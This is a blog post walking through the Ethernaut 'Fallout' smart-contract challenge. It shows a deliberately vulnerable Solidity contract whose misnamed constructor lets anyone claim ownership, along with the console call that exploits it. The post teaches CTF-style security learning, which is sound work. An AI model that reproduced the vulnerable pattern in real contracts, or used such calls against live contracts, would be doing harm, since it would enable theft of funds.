DEV Community

Cover image for Fallout - Level 02
Stefan Alfbo
Stefan Alfbo

Posted on

Fallout - Level 02

Problem statement

Claim ownership of the contract below to complete this level.

Things that might help

  • Solidity Remix IDE
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {

  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
            require(
                msg.sender == owner,
                "caller is not the owner"
            );
            _;
        }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}
Enter fullscreen mode Exit fullscreen mode

Solution

Start with creating a new contract for the current level by clicking on the button, Get new instance. Remember to have enough eth in the connected wallet.

Open up the developer tool in your browser (F12).

Execute following code in the console window of the developer tools window.

await contract.Fal1out({value: toWei('0.00042')})
Enter fullscreen mode Exit fullscreen mode

Done, finish up the challenge by clicking on the button, Submit instance, to commit and update the progress on the ethernaut contract.

Explanation

The goal is to claim ownership of the contract. Therefore we start to scan the code for updates of the owner state variable.

There is only one place where the code is changing the owner state variable, and it's in the following code snippet.

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }
Enter fullscreen mode Exit fullscreen mode

This code is trying to trick us to think that this is the constructor code for the contract. If you are used to Java or C# code then the constructor has the same name has the class, but in Solidity the contract code must use the keyword constructor to declare it as a constructor.

However, prior to version 0.4.22, the Solidity code worked as in Java or C#, the constructor had the same name as the contract. This contract is using a newer version though, and the name do not exactly match the contract name either.

pragma solidity ^0.6.0;
Enter fullscreen mode Exit fullscreen mode

This contract do not have a constructor and therefore it will deploy with a default contructor.

constructor() {}
Enter fullscreen mode Exit fullscreen mode

This means that the state variables will be initialized with their default values. Which can be verified by checking the owner value in the console window.

await contract.owner()
Enter fullscreen mode Exit fullscreen mode

That command will show an address with only zeros.

'0x0000000000000000000000000000000000000000'
Enter fullscreen mode Exit fullscreen mode

So the only thing we need to is to call the Fal1out function to claim ownership of the contract.

await contract.Fal1out({value: toWei('0.00042')})
Enter fullscreen mode Exit fullscreen mode

There is no need to send eth even if the method has the payable keyword in the function signature. This will work also.

await contract.Fal1out()
Enter fullscreen mode Exit fullscreen mode

The payable keyword is only enabling the function to handle transactions including eth and the code has no conditions that require eth to be included in the call.

The level author is leaving a small background history for the challenge, when the user has submitted their solution.

Background history

Resources

Top comments (0)